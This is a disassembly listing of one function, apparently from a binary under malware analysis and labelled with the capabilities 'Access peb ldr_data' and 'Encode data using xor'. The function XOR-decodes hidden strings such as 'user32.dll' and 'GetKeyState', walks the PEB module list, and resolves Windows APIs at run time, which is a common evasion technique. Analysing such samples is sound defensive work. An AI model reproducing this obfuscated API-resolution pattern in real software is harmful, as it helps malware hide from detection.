Function at 0x18005dc20
Capabilities:
Access peb ldr_data
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x50]
sub rsp, 0x150
xor eax, eax
mov dword [rsp + 0x47], 0xa3b5bcbb
xor ebx, ebx
mov dword [rsp + 0x4b], 0xb1fae1e1
mov edx, ebx
mov word [rsp + 0x4f], 0xbbba
mov byte [rsp + 0x51], al
nop dword [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x47]
add rcx, rax
lea eax, [rdx - 0x32]
inc edx
xor byte [rcx], al
cmp edx, 0xa
jb 0x18005dc60
mov rax, qword gs:[0x30]
mov byte [rsp + 0x51], bl
mov rcx, qword [rax + 0x60]
mov rdi, qword [rcx + 0x18]
add rdi, 0x20
mov r11, qword [rdi]
cmp r11, rdi
je 0x18005dcf4
nop dword [rax + rax]
mov r8, qword [r11 + 0x50]
lea r9, [rsp + 0x47]
test r8, r8
je 0x18005dcec
nop
movsx ecx, byte [r9]
lea r9, [r9 + 1]
movzx r10d, word [r8]
lea r8, [r8 + 2]
lea eax, [rcx - 0x41]
cmp ax, 0x19
ja 0x18005dccd
add cx, 0x20
lea eax, [r10 - 0x41]
cmp ax, 0x19
lea edx, [r10 + 0x20]
cmova dx, r10w
test cx, cx
je 0x18005e324
cmp cx, dx
je 0x18005dcb0
mov r11, qword [r11]
cmp r11, rdi
jne 0x18005dca0
mov rdi, rbx
movdqa xmm0, xmmword [0x180008110]
mov edx, ebx
movdqu xmmword [rbp + 9], xmm0
mov dword [rbp + 0x19], 0x97b0ba
nop dword [rax]
movsxd rax, edx
lea rcx, [rbp + 9]
add rcx, rax
lea eax, [rdx - 0x32]
inc edx
xor byte [rcx], al
cmp edx, 0x13
jb 0x18005dd10
lea rdx, [rbp + 9]
mov byte [rbp + 0x1c], bl
mov rcx, rdi
call fcn.18005db50
mov qword [0x1800eb7a8], rax
mov edx, ebx
mov dword [rsp + 0x68], 0x9aa4aa89
mov dword [rsp + 0x6c], 0xa187aab7
mov dword [rsp + 0x70], 0xbda3b7
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x68]
add rcx, rax
lea eax, [rdx - 0x32]
inc edx
xor byte [rcx], al
cmp edx, 0xb
jb 0x18005dd60
lea rdx, [rsp + 0x68]
mov byte [rsp + 0x73], bl
mov rcx, rdi
call fcn.18005db50
mov qword [0x1800eb7e0], rax
mov edx, ebx
xor eax, eax
mov dword [rbp - 0x80], 0x92a4aa89
mov byte [rbp - 0x74], al
mov dword [rbp - 0x7c], 0xbaa7a1a7
mov dword [rbp - 0x78], 0xaab787a4
nop dword [rax + rax]
movsxd rax, edx
lea rcx, [rbp - 0x80]
add rcx, rax
lea eax, [rdx - 0x32]
inc edx
xor byte [rcx], al
cmp edx, 0xc
jb 0x18005ddb0
lea rdx, [rbp - 0x80]
mov byte [rbp - 0x74], bl
mov rcx, rdi
call fcn.18005db50
mov qword [0x1800eb7b0], rax
mov edx, ebx
xor eax, eax
mov dword [rsp + 0x20], 0x92a4aa9d
mov byte [rsp + 0x2c], al
mov dword [rsp + 0x24], 0xbaa7a1a7
mov dword [rsp + 0x28], 0xaab787a4
nop dword [rax]
movsxd rax, edx
lea rcx, [rsp + 0x20]
add rcx, rax
lea eax, [rdx - 0x32]
inc edx
xor byte [rcx], al
cmp edx, 0xc
jb 0x18005de00
lea rdx, [rsp + 0x20]
mov byte [rsp + 0x2c], bl
mov rcx, rdi
call fcn.18005db50
mov qword [0x1800eb7c8], rax
mov edx, ebx
mov dword [rbp - 0x73], 0x92a4aa89
mov dword [rbp - 0x6f], 0xbbb1babe
mov dword [rbp - 0x6b], 0xbabd85a2
mov word [rbp - 0x67], 0xae
nop dword [rax]
movsxd rax, edx
lea rcx, [rbp - 0x73]
add rcx, rax
lea eax, [rdx - 0x32]
inc edx
xor byte [rcx], al
cmp edx, 0xd
jb 0x18005de50
lea rdx, [rbp - 0x73]
mov byte [rbp - 0x66], bl
mov rcx, rdi
call fcn.18005db50
mov qword [0x1800eb7e8], rax
mov edx, ebx
xor eax, eax
mov dword [rbp - 0x57], 0xb4b9a38d
mov byte [rbp - 0x49], al
mov dword [rbp - 0x53], 0xba80a7bc
mov dword [rbp - 0x4f], 0xbcaab485
mov word [rbp - 0x4b], 0xb5bf
nop
movsxd rax, edx
lea rcx, [rbp - 0x57]
add rcx, rax
lea eax, [rdx - 0x32]
inc edx
xor byte [rcx], al
cmp edx, 0xe
jb 0x18005dea0
lea rdx, [rbp - 0x57]
mov byte [rbp - 0x49], bl
mov rcx, rdi
call fcn.18005db50
mov qword [0x1800eb7f0], rax
mov edx, ebx
xor eax, eax
mov dword [rbp - 0x48], 0xb4a2ac9d
mov byte [rbp - 0x3a], al
mov dword [rbp - 0x44], 0xba80bdb7
mov dword [rbp - 0x40], 0xbcb1bb95
mov word [rbp - 0x3c], 0xafb4
nop
movsxd rax, edx
lea rcx, [rbp - 0x48]
add rcx, rax
lea eax, [rdx - 0x32]
inc edx
xor byte [rcx], al
cmp edx, 0xe
jb 0x18005def0
lea rdx, [rbp - 0x48]
mov byte [rbp - 0x3a], bl
mov rcx, rdi
call fcn.18005db50
mov qword [0x1800eb7f8], rax
mov edx, ebx
xor eax, eax
mov dword [rbp - 0x39], 0xb4bcaa9c
mov byte [rbp - 0x2b], al
mov dword [rbp - 0x35], 0x96b1a0b3
mov dword [rbp - 0x31], 0xacaca7b7
mov word [rbp - 0x2d], 0xbea8
nop
movsxd rax, edx
lea rcx, [rbp - 0x39]
add rcx, rax
lea eax, [rdx - 0x32]
inc edx
xor byte [rcx], al
cmp edx, 0xe
jb 0x18005df40
lea rdx, [rbp - 0x39]
mov byte [rbp - 0x2b], bl
mov rcx, rdi
call fcn.18005db50
mov qword [0x1800eb7b8], rax
mov edx, ebx
xor eax, eax
mov dword [rsp + 0x52], 0x92a4aa89
mov byte [rsp + 0x5c], al
mov dword [rsp + 0x56], 0xa0a0a3b3
mov word [rsp + 0x5a], 0xb2a4
nop dword [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x52]
add rcx, rax
lea eax, [rdx - 0x32]
inc edx
xor byte [rcx], al
cmp edx, 0xa
jb 0x18005df90
lea rdx, [rsp + 0x52]
mov byte [rsp + 0x5c], bl
mov rcx, rdi
call fcn.18005db50
mov qword [0x1800eb7d8], rax
mov edx, ebx
xor eax, eax
mov dword [rsp + 0x5d], 0x92a4aa9d
mov byte [rsp + 0x67], al
mov dword [rsp + 0x61], 0xa0a0a3b3
mov word [rsp + 0x65], 0xb2a4
nop
movsxd rax, edx
lea rcx, [rsp + 0x5d]
add rcx, rax
lea eax, [rdx - 0x32]
inc edx
xor byte [rcx], al
cmp edx, 0xa
jb 0x18005dfe0
lea rdx, [rsp + 0x5d]
mov byte [rsp + 0x67], bl
mov rcx, rdi
call fcn.18005db50
mov qword [0x1800eb7a0], rax
mov edx, ebx
mov dword [rbp + 0x60], 0xb993bc87
mov dword [rbp + 0x64], 0xb0bfbb
nop
movsxd rax, edx
lea rcx, [rbp + 0x60]
add rcx, rax
lea eax, [rdx - 0x32]
inc edx
xor byte [rcx], al
cmp edx, 7
jb 0x18005e020
lea rdx, [rbp + 0x60]
mov byte [rbp + 0x67], bl
mov rcx, rdi
call fcn.18005db50
mov qword [0x1800eb7c0], rax
mov edx, ebx
mov dword [rsp + 0x3d], 0x92a4aa9d
mov dword [rsp + 0x41], 0xbaa7a1a7
mov word [rsp + 0x45], 0xa4
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x3d]
add rcx, rax
lea eax, [rdx - 0x32]
inc edx
xor byte [rcx], al
cmp edx, 9
jb 0x18005e070
lea rdx, [rsp + 0x3d]
mov byte [rsp + 0x46], bl
mov rcx, rdi
call fcn.18005db50
mov qword [0x1800eb7d0], rax
mov edx, ebx
mov dword [rsp + 0x74], 0xb5b1a082
mov dword [rsp + 0x78], 0xa6a6a691
mov dword [rsp + 0x7c], 0x99a5b9
nop dword [rax]
movsxd rax, edx
lea rcx, [rsp + 0x74]
add rcx, rax
lea eax, [rdx - 0x32]
inc edx
xor byte [rcx], al
cmp edx, 0xb
jb 0x18005e0c0
lea rdx, [rsp + 0x74]
mov byte [rsp + 0x7f], bl
mov rcx, rdi
call fcn.18005db50
mov qword [0x1800eb798], rax
mov edx, ebx
mov dword [rbp - 0x65], 0xbfb5bf81
mov dword [rbp - 0x61], 0xa5bdbf91
mov dword [rbp - 0x5d], 0xabb9b8b4
mov word [rbp - 0x59], 0xbe
nop dword [rax]
movsxd rax, edx
lea rcx, [rbp - 0x65]
add rcx, rax
lea eax, [rdx - 0x32]
inc edx
xor byte [rcx], al
cmp edx, 0xd
jb 0x18005e110
lea rdx, [rbp - 0x65]
mov byte [rbp - 0x58], bl
mov rcx, rdi
call fcn.18005db50
mov qword [0x1800eb770], rax
mov edx, ebx
xor eax, eax
mov dword [rbp - 0x2a], 0xa2bfa38d
mov byte [rbp - 0x1c], al
mov dword [rbp - 0x26], 0xbcb890b7
mov dword [rbp - 0x22], 0xb8b7b5a6
mov word [rbp - 0x1e], 0xbfa8
nop
movsxd rax, edx
lea rcx, [rbp - 0x2a]
add rcx, rax
lea eax, [rdx - 0x32]
inc edx
xor byte [rcx], al
cmp edx, 0xe
jb 0x18005e160
lea rdx, [rbp - 0x2a]
mov byte [rbp - 0x1c], bl
mov rcx, rdi
call fcn.18005db50
mov qword [0x1800eb780], rax
mov edx, ebx
xor eax, eax
mov dword [rsp + 0x2d], 0xa5a0a28b
mov byte [rsp + 0x3b], al
mov dword [rsp + 0x31], 0xbcb890ab
mov dword [rsp + 0x35], 0xb8b7b5a6
mov word [rsp + 0x39], 0xbfa8
nop dword [rax]
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x2d]
add rcx, rax
lea eax, [rdx - 0x32]
inc edx
xor byte [rcx], al
cmp edx, 0xe
jb 0x18005e1c0
lea rdx, [rsp + 0x2d]
mov byte [rsp + 0x3b], bl
mov rcx, rdi
call fcn.18005db50
movdqa xmm0, xmmword [0x1800081a0]
mov edx, ebx
mov qword [0x1800eb768], rax
xor eax, eax
mov byte [rbp + 0x33], al
movdqu xmmword [rbp + 0x23], xmm0
nop dword [rax]
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rbp + 0x23]
add rcx, rax
lea eax, [rdx - 0x32]
inc edx
xor byte [rcx], al
cmp edx, 0x10
jb 0x18005e210
lea rdx, [rbp + 0x23]
mov byte [rbp + 0x33], bl
mov rcx, rdi
call fcn.18005db50
movdqa xmm0, xmmword [0x1800081b0]
mov edx, ebx
mov qword [0x1800eb790], rax
xor eax, eax
mov byte [rbp - 0xb], al
movdqu xmmword [rbp - 0x1b], xmm0
movsxd rax, edx
lea rcx, [rbp - 0x1b]
add rcx, rax
lea eax, [rdx - 0x32]
inc edx
xor byte [rcx], al
cmp edx, 0x10
jb 0x18005e250
lea rdx, [rbp - 0x1b]
mov byte [rbp - 0xb], bl
mov rcx, rdi
call fcn.18005db50
movdqa xmm0, xmmword [0x1800079f0]
mov edx, ebx
movdqu xmmword [rsp + 0x2d], xmm0
mov qword [0x1800eb788], rax
nop dword [rax]
movsxd rax, edx
lea rcx, [rsp + 0x2d]
add rcx, rax
lea eax, [rdx - 0x32]
inc edx
xor byte [rcx], al
cmp edx, 0xf
jb 0x18005e290
lea rdx, [rsp + 0x2d]
mov byte [rsp + 0x3c], bl
mov rcx, rdi
call fcn.18005db50
movdqa xmm0, xmmword [0x1800080a0]
movdqu xmmword [rbp - 0xa], xmm0
mov qword [0x1800eb758], rax
mov word [rbp + 6], 0x89
nop dword [rax]
nop word [rax + rax]
movsxd rax, ebx
lea rdx, [rbp - 0xa]
add rdx, rax
lea eax, [rbx - 0x32]
inc ebx
xor byte [rdx], al
cmp ebx, 0x11
jb 0x18005e2e0
lea rdx, [rbp - 0xa]
mov byte [rbp + 7], 0
mov rcx, rdi
call fcn.18005db50
lea r11, [rsp + 0x150]
mov qword [0x1800eb730], rax
mov rbx, qword [r11 + 0x18]
mov al, 1
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
mov rdi, qword [r11 + 0x20]
jmp 0x18005dcf7